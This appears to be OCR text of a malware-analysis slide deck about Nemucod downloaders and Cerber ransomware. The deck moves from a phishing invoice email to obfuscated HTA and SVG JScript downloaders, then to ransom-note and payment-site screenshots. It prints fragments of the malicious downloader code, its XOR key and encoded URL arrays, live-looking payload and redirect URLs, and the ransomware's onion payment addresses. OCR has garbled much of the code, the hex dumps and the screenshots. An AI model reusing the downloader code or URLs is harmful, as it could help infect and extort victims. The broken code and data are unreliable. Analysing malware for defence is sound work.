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STORY TIME




ONE DAY & GUY NAMED SAM GOT AN
E-MAIL AT WORK...




THE E-MAIL VECTOR... POWERED B
NEMUCOD

-
Hld9® e« | Accounts Documentation - Invoices - Message (Plain Text)
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From: CreditControl Sent: Tue 9/13/2016 5:22 AM
To:
Ca
Subject: Accounts Documentation - Invoices

| Message | | 1, ~2025931851336590.zip (8 KB)

Please find attached the invoice(s) raised on your account today. If you have more than one invoice they will all be in the single attachment above.

If you have any queries please do not hesitate to contact the Credit Controller who deals with your account.
Alternatively if you do not know the name of the Credit Controller you can contact us at:

CreditControl

Please do not reply to this E-mail as this is a forwarding address only.
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1E <html>
200 <head><script language='JScript'>
3
4 String.prototype.brigadabrigadalalapolicMRADXHO = function() {
5 brlgadabrlgadalalapolchOTALOZXCOP = (;
& var brigadabrigadalalapolicMOTALO2ddDccCl, brigadabrigadalalapolicMOTALO2d
7
8 var brigadabrigadalalapolicMOTALOZout = ’
9
10 var brigadabrigadalalapolicMOTALO2pechenka= this.replace(/LICIZAX/g, '');
11 var brigadabrigadalalapolicMOTALOZ2len = brigadabrigadalalapolicMOTALO2sud{bri
120 while (brigadabrigadalalapolicMOTALO2XCOP < brigadabrigadalalapolicMOTALO2
133 do {
14 brigadabrigadalalapolicMOTALO2ddDccCl = brigadabrigadalalapolicVIT
15 } while (brigadabrigadalalapolicMOTALO2XCOP < brigadabrigadalalapolicM
16
17 if (brigadabrigadalalapolicMOTALO2ddDccCl == -1)
18 break;
19 var brigadabrigadalalapolicMOTALO2dodo = false;
2003 o {
21 brigadabrigadalalapolicMOTALO2ddDccC2 = brigadabrigadalalapolicVIT
22 brigadabrigadalalapolicMOTALO2dodo = brigadabrigadalalapolicMOTALO2XCOP <
23 } while (brigadabrigadalalapolicMOTALO2dodo);
24
25 if (brigadabrigadalalapolicMOTALO2ddDccC2 == -1)
26 break;
27
28 brigadabrigadalalapolicMOTALO2out += String['fromCharCode']((brigadabr
29
30 do {
31 brigadabrigadalalapolicMOTALO2c3 = brigadabrigadalalapolicMOTALOZ2p
32
33 if (brigadabrigadalalapolicMOTALO2c3 == 10%6+0.5%2)
34 return brigadabrigadalalapolicMOTALOZ2out;




HTA FILE

* HTA is an HTML executable file.
* Introduced in 1999 along with Internet Explorer 5

* Executed via mshta.exe by instantiating the IE rendering engine
(mshtml) as well as any required language engines such as vbscript.dll

Source: Wikipedia and Microsoft



THERE'S THE XOR KE

22FrDra16.hta

0 7 09, T, 10

10 20 3 40 50 60 0 80 90
T T T T T Y T Tt T B 1 A T VO

272 if(brigadabrigadalalapolicMOTALO2FrankSinatralLaa < 30000)return false;

273 if (brigadabrigadalalapolicMOTALO2FrankSinatra[0]!= 77 || brigadabrigadalalapolicMOTALO2FrankSinatra[l]!= 9I
274 brigadabrigadalalapolicMOTALO2CHICKA = brigadabrigadalalapolicMOTALO2CEICKA + brigadabrigadalalapolicMOTALt
275 brigadabrigadalalapolicMOTALO2satt (brigadabrigadalalapolicMOTALOZ2CHICKA, brigadabrigadalalapolicMOTALO2Fran!
276

277 brigadabrigadalalapolicMOTALO2rampart.Run((brigadabrigadalalapolicMOTALO2StrokaParam2, 'brigadabrigadalalapoliche
278 return true;

279 }

280

281 H

282 (brigadabrigadalalapolicMOTALO2LUCIODOR) ;

283

284 var brigadabrigadalalapolicMOTALO2HORDAl7 = "NgmXYsBdh";

285 var brigadabrigadalalapolicTRAxKey = brigadabrigadalalapolicMOTALO2fsta("b6vYXEjsTYwI7mIrZz4WFSCGHeaddkwbg' ):

286 var brigadabrigadalalapolicMOTALOZ_aS = ["Z22932GVubGFkeLICIZAXXd1ZGRpbmcuY29tL32kRzc2V1VEZNZzZyam51", "dLICIZAX3d3
287 var brigadabrigadalalapolicMOTALO2HORDAI = 0;

288 for (brigadabrigadalalapolicMOTALO2HORDAS in brigadabrigadalalapolicMOTALOZ a5){

289 brigadabrigadalalapolicMOTALO2EORDATI++;

290 try{

291 var brigadabrigadalalapolicMOTALO2HORDA6 =brigadabrigadalalapolicMOTALO2_ bChosteck.brigadabrigadalalapolicMRADXI]
292

293 if (brigadabrigadalalapolicMOTALO2 a2 (brigadabrigadalalapolicMOTALO2HORDAG6 ,brigadabrigadalalapolicMOTALOZHORDAL7-
294 break;

295 }

296

297 }catch(brigadabrigadalalapolicMOTALO2CEESZZAAA){= ! cr! (brigadabrigadalalapolicMOTALO2CEESZZAAA.mesSsage); }

298

299

300 </script>

301

302 </body>

303 </html>
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272 if(brigadabrigadalalapolicMOTALO2FrankSinatraLaa < 30000)return false;
273 if (brigadabrigadalalapolicMOTALO2FrankSinatra[0]!= 77 || brigadabrigadalalapolicMOTALO2FrankSinatra[l]!= 29I
274 brigadabrigadalalapolicMOTALO2CBICKA = brigadabrigadalalapolicMOTALO2CEICKA + brigadabrigadalalapolicMOTAL(
275 brigadabrigadalalapolicMOTALO2satt (brigadabrigadalalapolicMOTALO2CEICKA, brigadabrigadalalapolicMOTALO2Fran!
276
277 brigadabrigadalalapolicMOTALO2rampart.Run{(brigadabrigadalalapolicMOTALO2StrokaParam2, 'brigadabrigadalalapolich:
278 return true;
279 }
280
281 );
282 ¢ (brigadabrigadalalapolicMOTALO2LUCIODOR) ;
283
284 var brigadabrigadalalapolicMOTALO2HORDAl17 = "NgmXYsBdh
285 var brigadabrigadalalapolicTRAxKey = brlgadabrxgadalalapolchOTALOZfsta( b6 vYxE
286 var brigadabrigadalalapolicMOTALO2 a5 = ["Z29s2GVubCFkeLICIZAXXd1ZGRpbmcu¥Y29tL3
287 var brigadabrigadalalapolicMOTALO2HORDAI = 0;
288 for (brigadabrigadalalapolicMOTALO2HORDAS in brigadabrigadalalapolicMOTALO2 a5){
289 brigadabrigadalalapolicMOTALO2BORDAI++;
2900 try{
291 var brigadabrigadalalapolicMOTALO2HORDA6 =brigadabrigadalalapolicMOTALO2 bChosteck.brigadabrigadalalapolicMRADXI
292
2930 if (brigadabrigadalalapolicMOTALO2 a2(brigadabrigadalalapolicMOTALO2HORDAG6,brigadabrigadalalapolicMOTALO2EORDAL7
294 break;
295 )}
296
297 }catch(brigadabrigadalalapolicMOTALO2CEESZZARAA){a crt(brigadabrigadalalapolicMOTALO2CEESZZAAA.message);}
208
299
300 </script>
301
302 </body>
303 </html>



FOUND THE FUNCTION CALL
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236
237
238
2392
240
241
242
243
244
245
246
247
248
249
2500
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269

T[DI(C):
}

function brigadabrigadalalapolicMOTALO2 a2(brigadabrigadalalapolicMOTALO2gutter, brigadabrigadalalapolicMOTALO2!

var brigadabrigadalalapolicMOTALO2CHICKA = brigadabrigadalalapolicMOTALO2vulture;
brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA+ "\u002:i";
brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTALO2Strok

brigadabrigadalalapolicMOTALOZ2pudlimudli[brigadabrigadalalapolicMOTALO20CHENA] (( "brigadabri -qdl-lle;u-
brigadabrigadalalapolicMOTALO2pudlimudli.setRequestHeader( ' User-Agent', "TWY6aWxs) AgRGNv
brigadabrigadalalapolicMOTALO2pudlimudli|brigadabrigadalalapolicMOTALO2tudabilol + ('brigadabrigadalalag

if (brigadabrigadalalapolicMOTALO2TRUEFALSE) {

var brigadabrigadalalapolicMOTALO20pOpOp = new brigadabrigadalalapolicMOTALO2LitoyDISK( (("brigadabrigad
brigadabrigadalalapolicMOTALOGaSMa = "CHET1ONET";
brigadabrigadalalapolicMOTALO2 aCho{brigadabrigadalalapolicMOTALO20pOpOp,brigadabrigadalalapolicMOTALO20CHE]

brigadabrigadalalapolicMOTALO20pOpOp|brigadabrigadalalapolicMOTALO2SPASPI] = brigadabrigadalalapclicuom
brigadabrigadalalapolicMOTALO2 bCho(brigadabrigadalalapolicMOTALO20pOpOp, ""+ "d3LICTZAXIpdLICIZANCU=".]

brigadabrigadalalapolicMOTALO2XWaxeQhw = "
brigadabrigadalalapolicMOTALOZopOpOp( ("o +(brlgadabr1gada1alapol1cMOTALO2StrokaParam2 rigadabrigadala

brigadabrigadalalapolicMOTALOZkrDwvrh =
brigadabrigadalalapolicMOTALOZopOpOp|
brigadabrigadalalapolicMOTALOZSswQdi = H
brigadabrigadalalapolicMOTALO2opOpOp[ ! c2ULICIZAX=" .brigadabrigadalalapolicMRADXHO( ) ]();
var brlgadabr1gadalalapolchOTALOZFrankSlnatra brlgadabrlqadalalapol1cM0TAL02rtfta(brlgadabrlgadalalapollcm
brigadabrigadalalapolicMOTALO2FrankSinatra~brigadabrigadalalapolicMOTALO2xdac(brigadabrigadalalapolicMOTALO:

--nmlz“nmw;

KZVRVRmMls2Q=LICIZAX=LICIZAX" .brigadabrigadalalapolicMRAl




VARIABLE IN THE FUNCTION
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236
237
238
2392
240
241
242
1243
244
245
246
247
248
249
25003
251
252
(253
254
255
256
Il 257
258
| 259
260
261
262
263
264
[ 265
266
1267
268
269

T[DI(C);
}

function brigadabrigadalalapolicMOTALO2 a2 (brigadabrigadalalapolicMOTALOZ2gutter, brigadabrigadalalapolicMOTALO2!
var brigadabrigadalalapolicMOTALO2CHICKA = brigadabrigadalalapolicMOTALO2vulture;

brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA+ "\u002f";
brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTALO2Strok

brlgadabrlgadalalapol1cMOTAL02pud11mud11[brlgadabrlgadalalapolchOTAL020CHENA](( brigadab

brigadabrigadalalapolicMOTALOZ2pudlimudli.setRequestHeader( "lser-Agent "TWI6aWxsYS80L]jAg
brlgadabrlqadalalapolchOTALOZpudllmudl1[brlgadabrlgadalalapol1cMOTAL02tudabllol + ("brigadabrigadal
if (brigadabrigadalalapolicMOTALO2TRUEFALSE) {

var brlgadabrlgadalalapol1cMOTAL020p0pOp = new brigadabrigadalalapolicMOTALO2LitoyDISK( (( "'brigadabrigad,
brigadabrigadalalapolicMOTALOGaSMa = "CHET10NET";

brigadabrigadalalapolicMOTALO2 aCho(brlgadabrlgadalalapolchOTALO2opOpOp brigadabrigadalalapolicMOTALO20CHE]

brigadabrigadalalapolicMOTALO2opOpOp|[brigadabrigadalalapolicMOTALO2SPASPI] = brlgadabrlgadalalapollcnom
brigadabrigadalalapolicMOTALO2 bCho(brigadabrigadalalapolicMOTALO20pOpOp, """+ "d3LICIZAXIpdLICTZAXC ol

brigadabrigadalalapolicMOTALO2XWaxeQhw = L!’“ INET";

brigadabrigadalalapolicMOTALO20pOpOp[ ( "»"+(brigadabrigadalalapolicMOTALO2StrokaParam2, "brigadabrigadala
brigadabrigadalalapolicMOTALOZ2krDwvrh = 'CHETIZ2NET';
brigadabrigadalalapo1icMOTALOZopOp0p[ c2F2LICIZAXZVRVRmMIsZQ=LICTZAX=LICIZAX" .brigadabrigadalalapolicMRAl
brigadabrigadalalapolicMOTALO2SswQdi = 'C 13N ";

brigadabrigadalalapolicMOTALO20pOpOp| VI cZULICIZAX-" .brigadabrigadalalapolicMRADXHO()]():
var brigadabrigadalalapolicMOTALO2FrankSinatras brlgadabrlgadalalapolchOTALOZrtfta(brlgadabrlgadalalapollcm
brigadabrigadalalapolicMOTALO2FrankSinatra=brigadabrigadalalapolicMOTALO2xdac(brigadabrigadalalapolicMOTALO:



FOQUND THE VARIABLE

22FrDra16.hta

680
Ll

690
I Tl T

ruly”,"T"), brigadabrigadalalapolicMOTALO2gutter, false);

[CIZAXOLICIZAXkeQ==" .brigadabrigadalalapolicMRADXHO()] );

261 cneeds","brigadabrigadalalapolicrevel”,"brigadabrigadalalapolictonic”,"09001"), brigadabrigadalalapolicMOTALO2t:




«LERT ON THAT VARIABLE
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236
237
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240
241
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244
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T[D](C):

}

239 function brigadabrigadalalapolicMOTALOZ2 a2(brigadabrigadalalapolicMOTALO2gutter, brigadabrigadalalapolicMOTALO2

var brigadabrigadalalapolicMOTALO2CHICKA = brlgadabrlgadalalapol1cMOTAL02vulture;
brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA+ "\u002£";

brigadabrigadalalapolicMOTALO2CHICKA=brigadabrigadalalapolicMOTALO2CHICKA + brigadabrigadalalapolicMOTALO2Strok

alert (brigadabrigadalalapolicMOTALO2gutter);

brxgadabrlgadalalapol1cMOTAL02pud11mud11[brlgadabrlgadalalapolchOTALOZOCHENA](( br
brigadabrigadalalapolicMOTALOZ2pudlimudli.setRequestHeader( "User-Agent TW36aWxsYS
brxgadabr1gadalalapolchOTALOZpudllmudll[brlgadabrxgadalalapolchOTALOZtudabllol + ("I

if (brigadabrigadalalapolicMOTALO2TRUEFALSE) {

var brigadabrigadalalapolicMOTALO20pOpOp = new brigadabrigadalalapolicMOTALO2LitoyPISK((('"brigadabrigad.
brigadabrigadalalapolicMOTALOGaSMa = "CHET1ONET";
brigadabrigadalalapolicMOTALO2_ aCho(brlgadabrlgadalalapolchOTALozopOpOp,brxgadabrlgadalalapol1cMOTALOZOCHE

brigadabrigadalalapolicMOTALO20pOpOp|[brigadabrigadalalapolicMOTALO2SPASPI] = brigadabrigadalalapolicuom
brigadabrigadalalapolicMOTALO2_ bCho(brigadabrigadalalapolicMOTALO20pOpOp, ""+ "d3LICIZAXIpdLICIZAXCU=".]

brigadabrigadalalapolicMOTALO2XWaxeQhw = "CHETLINET";
brigadabrigadalalapolicMOTALO2o0pOpOpR[ ("p +(brlgadabrlgadalalapolchOTALOZStrokaParamz brigadabrigadala

br1gadabr1gadalalapolchOTAL02kervrh :
brigadabrigadalalapolicMOTALO20pOpOp|[ "
brigadabrigadalalapolicMOTALO2SswQdi

¥=LICIZAX" .brigadabrigadalalapolicMRAl




HTML Application

| http://geoldenladywedding.com/vdGTEVUY 7ornu!CHRpz=zhAHhhws




ChUsers'wxer\Desktop'\ 22FrDralb.hta

| hittp://www.,metalloysllp.com/vdGTEVUY 7BrnnuiCHhjpz=zhAHhhw5




ChlUsers\wxer\Desktop22FrDralt.hta

| http://lrvewebsol.com/edG7EVUY 78 nufCHhpz=zhAHhhw5




WHAT HAPPENS IN THE HOST

* Downloads file to Temp folder (encrypted)

* Writes it to a DLL/EXE file and decrypts it using the key which is
converted into a 32 byte hexadecimal.



HE WAS SO HAPPY HE WANTED TO
TELL ALL HIS FRIENDS ABOQUT IT...




HE LOGGED ONTO FB AND SAW &

Turn on chat fCl-

%] Photo_9166.svg

Images from Bart Blaze - https://bartblaze.blogspot.com/2016/11/nemucod-downloader-spreading-via.html



HE CLICKED THE PICTURE AND
BROUGHT HIM TO...

Images from Bart Blaze - https://bartblaze.blogspot.com/2016/11/nemucod-downloader-spreading-via.html



Overview

Images from Bart Blaze - https://bartblaze.blogspot.com/2016/11/nemucod-downloader-spreading-via.html






* Scalable Vector Graphics (SVG) is an XML-based vector image format for
2-D graphics with support for interactivity and animation. The SVG
specification is an open standard developed by the World Wide Web
Consortium (W3C) since 1999.

Source: Wikipedia
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ALERT ON THE VARIABLE...

photo_2101.svg 3
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26 hrytmp++;
27
28 if(rtssz >= 0){
29 var csyqy = 0;
30 var bjxge = -1;
31 while(ahmcj[cnvansyawrxr][csygy]){
32 if(ahmcj[cnvan%yawrxr][csyqy] == basnp[cnvan]){
33 bjxge = csyaqy;
34 break;
35 }
36 csyqy++;
37 }
38 vwesm += amezto[bjxge];
39 }else{
40 vwcsm += basnp[cnvan];
41 }
42 cnvan++;
43 }
44 var jzong = "";
45 for(vifzya=pmfoht;vizya<vwcsm.length;vizya++) {
46 jzong += vwcsm[vizya);
48 vwcsm = jzong;
49 alert(vwcsm)
50 return vwcsm;
51 }
52 var ufxbcx = window;
53 var vnoesm = izgklhsb("LwBYvET",4,true);
54 var wyuzl = izgklhsb("20FgvR?tLKmvhYV",7,true);
55 var iesadz = izgklhsb("F1KURbmFU31ly6N",10,true);
56 ufxbcx[vnoesm] [wyuzl][iesadz] = izgklhsb("VOlzcX3m..BAXY2s97VfzbtF6uciB8wXrDcvmABfvyTN.",5, false
57
58 11></script>
59 </svg>




THE URL IS REVEALED

Message from webpage

| http://hemahezohiitup.pw/php/trust.php




“MAN, | CRACKED ALL OF THEM..” SO
SAM WENT ON HIS MERRY WAY...
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SAM GOT A SNAIL MAIL FROM
GRANDMA...




GRANDMA NEEDS HELP... TIME TO




GRANDMA’S BEEN VICTIMIZED BY




_README_.HTA

# ° CERBER RANSOMWARE: Instructicn:

CERBER RANSOMWARE @& English

Instructions

Can't you find the necessary files?
Is the content of your files not readable?

It 15 normal because the files' names and the data in your files have been encrypted by
"Cerber Ransomware". L |

It means your files are NOT damaged! Your files are modified only. This modification is reversible.
From now it is not possible to use your files until they will be decrypted.

The only way to decrypt your files safely 1s to buy the special decryption software "Cerber Decryptor”.

Any attempts to restore your files with the third-party software will be fatal for your files!

You can proceed with purchasing of the decryption software at your personal page

Please wait...

hitp://pe2cku7pebkpgeko.fp6fi6.top /5 3CF-B35C-1498-0501-F8F |

http://pe2cku7pebkpgeko.onion.to/53CF-B35C-1498-0501-F8F1




_README_.HTA

# ° CERBER RANSOMWARE Instructions k-3

If this page cannot be opened click here to generate a new address to your personal page,

At this page you will receive the complete instructions how to buy the decryption software for restoring all
your files,

Also at this page you will be able to restore any one file for free to be sure "Cerber Decryptor” will help

you.

If your personal page is not available for a long period there is another way to open your personal page -
installation and use of Tor Browser:

1.

2.

run your Internet browser (if you do not know what it is run the Internet Explorer),

enter or copy the address https://www.torproject.org/download) download-easy.html.en into the
address bar of your browser and press ENTER,

wait for the site loading;

. on the site you will be offered to download Tor Browser. download and run it, follow the

installation instructions, wait until the installation is completed.

run Tor Browser,

connect with the button "Connect” (if you use the English version),

a normal Internet browser window will be opened after the initialization,
type or copy the address

http //pe2cku7pebkpgeko.onion/53CF-B35C-1498-0501-F8F1




_README_HTA

r
# | CERBER RANSOMWARE: Instructions

o= &

o

7. a normal Internet browser window will be opened after the initialization;
8. type or copy the address
http / /pe2cku7pebkpgeko.onion/53CF-B35C-1498-0501-F8F1
in this browser address bar;
9. press ENTER,
10. the site should be loaded; if for some reason the site is not loading wait for a moment and try

again.

If you have any problems during installation or use of Tor Browser, please, visit https./ /www.youtube.com
and type request in the search bar "Install Tor Browser Windows” and you will find a lot of training videos
about Tor Browser installation and use.

Additional information

You will find the instructions {"*.hta") for restoring your files in any folder with your encrypted files.,

The instructions (**.hta") in the folders with your encrypted files are not viruses! The instructions (“*,hta")
will help you to decrypt your files.

Remember! The worst situation already happened and now the future of your files depends on your
determination and speed of your actions.
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CERBER DECRYPTOR

& ]x;b )
Cerber Decryptor Ll
s .’ & pdldckhpanTrvgr.onion ° =
@ CERBER DECRYPTOR
Wahle deine Sprache
E English E Deutsch s Espaniol
l i Francais " 3 | @ BFE
ﬁ Portugués e— Polski I ' Italiano
(@ Tlrkce : i el i VederlaNdS




PROVE YOU'RE HUMAN

= .=
Cerbier Decryptor x L+
S @& € plidokhpz2nTnvgronion
4 CERBER DECRYPTOR FEp———

For security reasons, please confirm you are
| a human and not a robot below:

Select all Images below that
similar to this one:
1AL ey anee Wers ars noes (#f

Tap on &l Hes with tne plwes simidar 1o the
sampie above It new bes appear wih the simiar
pictures mgain_tap ihose as well When Ihere are
na moee similar pictures B8R, cick Venty




SPECIAL PRICE ¥OR A LIMITED TIME

Corber Decryptar » .";,*

s & € Pl debhpednTmgranion

G A Home pa: [ 124 ™ Suppon 93 Gecrept 1 b tor ERER

CERBER DECRYPTOR

Q

Your documents, photos, databases and
other important files have been encrypted!

To decrypt your files you need to buy the specia! software — «Cerber
Decryptors,

All transactions should be performed via ©bitcoin network only.

Within 5 days you can purchase this product at a special price: B1.000 (=
$803),

After 5 days the price of this product will increase up to: B2.000 (= $1807)

The special price is avalladle

04 . 23:59:29




TECH SUPPORT IF YOU HAVE

PROBLEMS

Cesber Dacryptior

S &- ¢ P27 debhpanTengrannn

i%” Oz =

CERBER DECRYPTOR

In case of any problems with payment or
having any other questions, please contact us
via the contact form:




TRY BEFORE YOU BUY

Cesbies Decrypoar w U

S @- € 27 dekh peInd mgr.cnben 31333 4791 o =

g & Home pape O rao & Suppca 22 Decrypt 1 Sie tyl FREE < Reicad cutrent poge

CERBER DECRYPTOR

We give you the opportunity to decipher 1 file
free of charge!

You can make sure that the service really works and after payment for the
wCerber Decryptor» program you can actually decrypt the files!

Please selact a file to decrypt and load it to the server,

Browse... No file selected. Upload file

Nose: File shouid not DE More Than 2048 sty




Cesber Dacryptor " e

CERBER DECRYPTOR

S & € P21 GNP AT gr AN

& Support no § 1 g foy FiRE

We give you the opportunity to decipher 1 file

free of charge!

You can make sure that the service really works and after payment for the
«Cerber Decryptors program you can actually decrypt the files!

Please select a file to decrypt and load it to the server:

SF7J457V34 a8dd Upload file

W) NOt DO mOre han 2048 Koy




DECRYPTING

EE———

Carter Decryptioe = U*

$ .' (' L pTdoMdpiInd nvgr. omben

a fromepsge  @FAD R Suppod | §8 Decrypl 3 Mo W FREE

CERBER DECRYPTOR

2]

We give you the opportunity to decipher 1 file
free of charge!

You can make sure that the service really works and after payment for the
«Cerber Decryptors» program you can actually decrypt the files!




DECRYPTION DONE

l

Ceter Decryptor x =

S &- € PITSOMNEZNTIVGO O

ﬁ R —ane page O Fac

CERBER DECRYPTOR

= Spppont &8 Daorvol 1t (86 foe FREF « Refcad curmént page

We give you the opportunity to decipher 1 file

free of charge!

You can make sure that the service really works and after payment for the
«Cerber Decryptor» program you can actually decrypt the files!

Your file is successfully decoded, You can download i,

DOWNLOAD DECRYPTED FILE




DOWNLOAD DECRYPTED FILE

* Conmecting... - % =
S & ¢ pdldekhpeind rwgr.onicn E ' 3 , Q =
a fttomepage  @FAQ 2 Supped | N DecyptISKINEREE | O Reioag
CERBER DECRYPTOR

We give you the opportunity to decipher 1 file
free of charge!

Downloss en externsl e type?
Tor Browser cannct dplay thie fle. You wil nesd to opes £ with anctser apgication.
You!l SOMme types of M can Chuse spplications 1o Connect to Bhe Jntermet without using Tot 1 the

Tz be safe, you thadd only cpen doweinaded files whie cffine. oruse o Tor Lve CD wich ss Tain

Automancaly Sownbaad files 11om fow 06

Your file is successfully decoded. You can downioad it.

DOWNLOAD DECRYPTED FILE

Waiting Mot pITdARRe2nd e gr. brdtn




PACKAGED AS DECRYPTED.ZIP

Cartar Docryptar * L

S & € pldathpelninvgrenon

ﬂ M nome pags Q@80 & Suppon % Reczyul t fie tor FREE © Rekoad (ument pag

CERBER DECRYPTOR

We giveammoamms- ity = hewper 1 file

Vau have crasen to npen

€ Owcryptedsip
which iz Crrome HTAML Document 328 bytes)
fram: e/ plidothgednTmvgranon

Vihat thould Tor Srowser do with Shey fie!

You can ma e e iWment for the
open liooghe { ) -
«Cerbd| S = e files!

SreeFRie

Do this gutoematicaby foo fiws lice ths fom now o,

DOWNLOAD DECRYPTED FILE




THE ENC

CRYPTED PICTURE

FILE

5]
32
(iG]
=)

125
168
192
224
256
285
328
L
354
416
45
458
B1z
B4
576G
BEG
a1
a7
Flaks
sl
fi=t]
Galal)
g3E

il
L))
L

FFDSFFER
A
A
A
A
A
b hbid
Adddhbid
bbb
A
bbb
bbb
bbb
A
A
A
A
A
b hbid
Adddhbid
SFEF7335
D42B3CE2
SE4FE151
1B65C5E
ES9CESED
1B6EESDE
4EAF 2402

Signed Int

BE1B4A45
FETYYETys
bbb b
FETYYETys
bbb b
A bddbh
FYYYYFTYe
Abbhbddh
Aibbdidb
Aibbdidb
Aibbdidb
Aibbdddb
Abbhdidb
FETYYETys
bbb b
FETYYETys
bbb b
A bddbh
FYYYYFTYe
Abbhbddh
16507247
EES51393
SFECEIAS
ADCETE4S
S3EED3CA
A4231A3D
D3ZE0953

big

49456861
Adddddid
Adddddid
Adddddid
Adddddid
Ay
Adirdddsinds
b
Ay
Ay
Ay
bbb
Adbddid
Adddddid
Adddddid
Adddddid
Adddddid
Ay
Adirdddsinds
b
EDBEFFLC
ABPEAG3Z
ATCZ2985
776EF 76F
S2F4B922
13544D3F
CAEEFBEE

[select some data)

A
b A b
A A
b A b
A A
A
A
A
A
A
A
A
A
b A b
A A
b A b
A A
A
A
A
64394316
OEAZ4245
04768997
ABEEES6S
64CF ABES
EEBESEEE
BF9530EA

M 5F7j457V34.a8dd

bbb
A
A
A
A
A
b hbid
Adddhbid
bbb
A
bbb
bbb
bbb
A
A
A
A
A
b hbid
Adddhbid
1267504
EDFDZDE1
1FE71244
FACEEAED
2AFZECES
EG4EDCAL
FZFEEDEA

Abhbhidd Addbdddib
AhAAAAAS AAAALALL
AhAAAAAS AhAAAAAL
AhAAAAAS AAAALALL
AhAAAAAS AhAAAAAL
AbAAAAAS AbbbbAad
Ahhbhash AdbbbdAdd
Ahdbhadh AdbAAALL
Aibbbidd Adbbdddd
Ahbbhadd Addbdddh
Aibbbidd Adbbdddd
Ahhbhads AddbbdAAL
Ahhbhids Addbddsh
AhAAAAAS AAAALALL
AhAAAAAS AhAAAAAL
AhAAAAAS AAAALALL
AhAAAAAS AhAAAAAL
AbAAAAAS AbbbbAad
Ahhbhash AdbbbdAdd
Ahdbhadh AdbAAALL
BE97EERE BIE436E5
B1361922 B156AB22
t1EEBFAF E24306ES
GA4EFDIZ 9ZATZE06
74DFBEAE D43F10DZF
7981502 BIFADEIE
FE4FZA3C FTEEDAI4

0 out of 4510 bytes

A
b A b
A A
b A b
A A
A
A
A
A
A
A
A
A
b A b
A A
b A b
A A
A
A
A
7764899
S3FF44CF
A444E490
ZP9E9164
DEAESARY
ABLE1EAC
13E11504

" j;." 1: JF I F THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH TH TH
THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH TH TH
E_=5 WG 7 d9f Quex 64 imelevid
¢ w=2fu i@ 52 BEl1"-a & "Ad°"E'De
E0.07aYBRE-Y ‘v & a Sappl,CHASDY¥E
b =i~Fuk™ “[,hps giH"{{RE:"0&H
Ed,m30=:20m" de ", | O, b2 757 f% &
eEAS# = dm=Tn YAAE < wd “mli;t
E $-* Yaak ngoBil miP0 <"k:4 - ¢




THE DECRYPTED PICTURE FILE

{8 5 001.jpg

B |FFDSFFED BB1O4A4E 40460001 Abhhbbd Abhbdddd Abbbdbbd Ahddbbah Abdbbhid | [7§7 1 JFIF  mommmmmmmmmmmmmmmmmm
32 | hddddddd AbAAAAAS AMAAAALY AAAAAAAL ABAAAAAD AAAAAAAL AAAAAAAL AAAAAAL | | T U T T T T
B4 | Addbdddd AbbbAhAd AbbAAALE AAAAGAAL AbAAAAAL AAAAAAAL AAAASAAL AAAAAAAL | | T T
Q5 | AAAAAALL AAAAAALA AAAAAALL AAAAAAAA AAAAAAAA AAAAAAAA AAAAAALL AAAAALALN || THTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTHTH THTH TH THTHTHTHTH TH THTH T THTH

176 | Adddbbdd Addhbhdd AAAAAALA AALAAAAL AAAASAAY AAAAAAAY AAAAAAAA AAAAAAAS | | T T T TH TH T T T T T T T T T TH
166 | Adddbbdd AddAbhdd AAAAGAAA AALASAAA AAMASAAA AAAAAAAY AAAAAAAA AdAAAAAS | | T T T TH TH T T T T T T T T T T
